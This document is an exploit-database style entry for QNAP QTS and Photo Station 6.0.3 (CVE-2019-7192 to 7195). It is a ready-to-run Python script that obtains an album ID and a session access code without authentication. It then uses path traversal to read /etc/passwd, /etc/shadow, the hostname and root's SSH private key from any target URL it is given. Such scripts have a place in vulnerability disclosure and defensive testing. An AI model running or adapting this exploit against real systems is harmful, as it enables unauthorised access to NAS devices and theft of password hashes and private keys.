QNAP QTS and Photo Station 6.0.3 – Remote Command Execution
# Exploit Title: QNAP QTS and Photo Station 6.0.3 - Remote Command Execution # Exploit Author: Yunus YILDIRIM (Th3Gundy) # Team: CT-Zer0 (@CRYPTTECH) - https://www.crypttech.com # Date: 2020-05-28 # Vendor Homepage: https://www.qnap.com # Version: QTS < 4.4.1 | Photo Station < 6.0.3 # CVE: CVE-2019-7192, CVE-2019-7193, CVE-2019-7194, CVE-2019-7195 # References: https://github.com/th3gundy/CVE-2019-7192_QNAP_Exploit # References: https://medium.com/@cycraft_corp/qnap-pre-auth-root-rce-affecting-312k-devices-on-the-internet-fc8af285622e # References: https://www.qnap.com/zh-tw/security-advisory/nas-201911-25 ###################################################################### ###################################################################### #!/usr/bin/python3 __author__ = "Yunus YILDIRIM (@Th3Gundy)" __version__ = "0.1" import requests import re, sys # hide ssl error from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def get_banner(): print("""\033[91m █████ ███▄ █ ▄▄▄ ██▓███ ▒██▓ ██▒ ██ ▀█ █ ▒████▄ ▓██░ ██▒ ▒██▒ ██░▓██ ▀█ ██▒▒██ ▀█▄ ▓██░ ██▓▒ ░██ █▀ ░▓██▒ ▐▌██▒░██▄▄▄▄██ ▒██▄█▓▒ ▒ ░▒███▒█▄ ▒██░ ▓██░ ▓█ ▓██▒▒██▒ ░ ░ ░░ ▒▒░ ▒ ░ ▒░ ▒ ▒ ▒▒ ▓▒█░▒▓▒░ ░ ░ ░ ▒░ ░ ░ ░░ ░ ▒░ ▒ ▒▒ ░░▒ ░ ░ ░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ \033[0m \033[94m {0} \033[0m """.format(__author__)) def get_file_content(file): post_data = {'album': album_id, 'a': 'caption', 'ac': access_code, 'f': 'UMGObv', 'filename': file} file_read_response = req.post(url + "/photo/p/api/video.php", data=post_data, headers=headers, verify=False, timeout=10) print("="*65) ; print("{0} file content;\n{1}" .format(file,file_read_response.text)) # print banner get_banner() if len(sys.argv) != 2: print("\033[93mUsage : python3 gundy.py https://vulnerable_url:port\033[0m") sys.exit(-1) url = sys.argv[1].rstrip('/') headers = {"User-Agent": "Gundy - QNAP RCE"} # for session cookie req = requests.Session() ####################################################################### # search album_id print("="*65) post_data = {'a': 'setSlideshow', 'f': 'qsamplealbum'} album_id_response = req.post(url + "/photo/p/api/album.php", data=post_data, headers=headers, verify=False, timeout=10) if album_id_response.status_code != 200: print("album id not found \n\033[91mnot vulnerable\033[0m") sys.exit(0) album_id = re.search('(?<=<output>).*?(?=</output>)', album_id_response.text).group() print("album_id ==> " + album_id) ####################################################################### # search $_SESSION['access_code'] access_code_response = req.get(url + "/photo/slideshow.php?album=" + album_id, headers=headers, verify=False, timeout=10) if access_code_response.status_code != 200: print("slideshow not found \n\033[91mnot vulnerable\033[0m") sys.exit(0) access_code = re.search("(?<=encodeURIComponent\\(').*?(?=')", access_code_response.text).group() print("access_code ==> " + access_code) ####################################################################### # /etc/passwd file read get_file_content('./../../../../../etc/passwd') # /etc/shadow read get_file_content('./../../../../../etc/shadow') # /etc/hostname read get_file_content('./../../../../../etc/hostname') # /root/.ssh/id_rsa read get_file_content('./../../../../../root/.ssh/id_rsa') ####################################################################### |